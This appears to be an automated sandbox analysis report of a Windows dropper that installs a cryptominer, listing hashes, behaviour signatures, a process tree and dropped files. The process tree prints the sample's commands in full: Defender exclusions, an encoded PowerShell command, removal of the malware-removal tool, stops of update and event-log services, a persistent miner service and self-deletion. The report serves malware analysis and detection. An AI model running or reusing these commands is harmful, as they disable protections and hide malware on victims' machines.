Analysis
-
max time kernel
9s -
max time network
73s -
platform
windows11-21h2_x64 -
resource
win11-20240221-en -
resource tags
-
submitted
22/03/2024, 12:37
General
-
Target
4e5fcc788287580ed19402eadaab8c69ca5f0a904ead605153feb534bbe87002.exe
-
Size
5.3MB
-
MD5
b59631e064541c8651576128708e50f9
-
SHA1
7aae996d4990f37a48288fa5f15a7889c3ff49b3
-
SHA256
4e5fcc788287580ed19402eadaab8c69ca5f0a904ead605153feb534bbe87002
-
SHA512
571a06f0ec88fe3697388195dd0a7f7e8d63945748855d928fb5005b51fd2c2baea1a63bd871ed0cfade5eabb879f577b7b04f9cd4d1222de52da641feee1f92
-
SSDEEP
98304:69w8PMOW9ZI6aO7sd/mzt5mAiN1vw+/YR8ov/bkMJmJZNOnTdjyip:ndIV0G/mzsN1vl/YRV4MY9OnTdjy
Malware Config
Signatures
-
Creates new service(s) 1 TTPs
-
Stops running service(s) 3 TTPs
-
Executes dropped EXE 2 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\4e5fcc788287580ed19402eadaab8c69ca5f0a904ead605153feb534bbe87002.exe"C:\Users\Admin\AppData\Local\Temp\4e5fcc788287580ed19402eadaab8c69ca5f0a904ead605153feb534bbe87002.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAZQBzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAcQBoACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGYAZwBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAaABlACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Miner.exe"C:\Users\Admin\AppData\Roaming\Miner.exe"2⤵
- Executes dropped EXE
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "RYVSUJUA"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "RYVSUJUA" binpath= "C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe" start= "auto"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "RYVSUJUA"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Miner.exe"3⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵
-
-
-
-
C:\Users\Admin\AppData\Roaming\Shortcutter.exe"C:\Users\Admin\AppData\Roaming\Shortcutter.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exeC:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
18KB
MD5d7293c9ef5fbab0329ae8ccb2a7d8031
SHA118b48cbccf5eb63de7c20b3a4624fdc90c52b06f
SHA256a546a0029d26f7398ea4f9130a1b509f80247b8122338c0e7ef7112e9f8f38a7
SHA5123c3d42fdce99fea9b8165c27a6337d0997334bc528052bf5830477a0808053b09a82886a04ef9fe8e3b75de17830d0b95e7efbdbdf9f7c60b8b3df5ba11d9e64
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
5.3MB
MD599201be105bf0a4b25d9c5113da723fb
SHA1443e6e285063f67cb46676b3951733592d569a7c
SHA256e4eda2de1dab7a3891b0ed6eff0ccd905ff4b275150004c6eb5f1d6582eea9a2
SHA512b57ae7282f2798cbf231f8ca6081b5fab10068566a49f0ad735e8408ccd73d77efb5c26a48b7591e20711f0adbd9e619b40078b9c51d31b7a9768104529e7808
-
Filesize
1.2MB
MD5a9e98142d0e5801845155b3b6afd49a5
SHA11059ed356497a453b7885d5fb74fcfe57423f592
SHA25684561b32a5d8ffe61f1f16552192b6cef6c5df0c75d5e6545a9bea1f3d4334c3
SHA512e6c07fe18a92fc5d3813e98027db3fb87a52a070512d16dd4979e9fcb810320bc3355fc8152183d4e7c1be305d5ce30ef3fa2ab1638b16e48cd424cfbe56e2a7
-
Filesize
50KB
MD54ce8fc5016e97f84dadaf983cca845f2
SHA10d6fb5a16442cf393d5658a9f40d2501d8fd725c
SHA256f4da7f22e8eb28cfd8ecb0c3fdc8923b2ba5c5e96b917cbcf53b6bbed1c22551
SHA5124adeb4774ca136a085bc92cf6f02aa340f927ae12e1db90e8a2be69ef045611d333904ef5714c876ab03f8bcc52ee0140e724bd1659b9cf9eacf0a7d6a7bdd46
-
Filesize
64KB
-
Filesize
72KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
144KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
120KB
-
Filesize
56KB
-
Filesize
304KB
-
Filesize
208KB
-
Filesize
64KB
-
Filesize
656KB
-
Filesize
64KB
-
Filesize
304KB
-
Filesize
7.7MB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
6.5MB
-
Filesize
136KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
104KB
-
Filesize
6.2MB
-
Filesize
40KB
-
Filesize
600KB
-
Filesize
68KB
-
Filesize
120KB
-
Filesize
84KB
-
Filesize
7.7MB
-
Filesize
104KB
-
Filesize
216KB
-
Filesize
32KB
-
Filesize
2.0MB
-
Filesize
172KB
-
Filesize
2.0MB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
756KB
-
Filesize
2.0MB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
172KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
64KB